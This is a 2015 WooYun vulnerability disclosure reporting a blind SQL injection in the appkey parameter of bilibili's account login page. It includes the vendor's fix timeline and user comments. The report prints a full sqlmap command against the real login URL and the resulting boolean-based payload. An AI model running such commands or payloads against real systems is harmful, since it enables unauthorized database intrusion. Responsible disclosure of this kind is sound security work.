bilibili某处关键业务处SQL盲注

漏洞概要

缺陷编号:WooYun-2015-097833

漏洞标题:bilibili某处关键业务处SQL盲注

相关厂商:bilibili.com

漏洞作者:qhwlpg

提交时间:2015-02-20 20:15

公开时间:2015-02-27 11:45

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经修复

Tags标签:

漏洞详情

披露状态:

2015-02-20: 细节已通知厂商并且等待厂商处理中
2015-02-26: 厂商已经确认,细节仅向厂商公开
2015-02-27: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

bilibili某处SQL盲注

详细说明:

pythonsqlmap.py -u"https://account.bilibili.com/login?appkey=243901e627b808e5&api=http%3A%2F%2Fh.bilibili.com%2Flogin%3Fact%3Dcallback%26do%3Dlogin%26go%3D&sign=707f39fc8b98dfad3b1535ddf48a5696"sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: appkeyType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: appkey=243901e627b808e5' AND 5860=5860 AND 'CiPn'='CiPn&api=http://h.bilibili.com/login?act=callback%26do=login%26go=&sign=707f39fc8b98dfad3b1535ddf48a5696---[19:30:20] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL 5

漏洞证明:

修复方案:

过滤。

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-02-2611:05

厂商回复:

谢谢

最新状态:

2015-02-27:只影响其中一个子数据库 关键数据沒影响

评价

  1. 2010-01-01 00:00 季煜熙 白帽子 | Rank:0 漏洞数:2)

    B站被沦陷了吗?

  2. 2010-01-01 00:00 理工小强 白帽子 | Rank:0 漏洞数:0)

    B站被推倒了

  3. 2010-01-01 00:00 浮生 白帽子 | Rank:8 漏洞数:2)

    B站被沦陷了吗?

  4. 2010-01-01 00:00 omicansuck 白帽子 | Rank:0 漏洞数:0)

    天啦,我的账号

  5. 2010-01-01 00:00 Mr.R 白帽子 | Rank:0 漏洞数:0)

    快把B站推到 给我个正式账号可好 →_→

  6. 2010-01-01 00:00 哎呦我去 白帽子 | Rank:0 漏洞数:0)

    66666

  7. 2010-01-01 00:00 小清新 白帽子 | Rank:0 漏洞数:0)

    666666666666666 推到了没 快点推到啊

  8. 2010-01-01 00:00 http://www.wooyun.org/corps/上海幻电信息科技有限公司 白帽子 | Rank:0 漏洞数:0)

    不影响帐号 沒有导致任何帐号相关的信息泄漏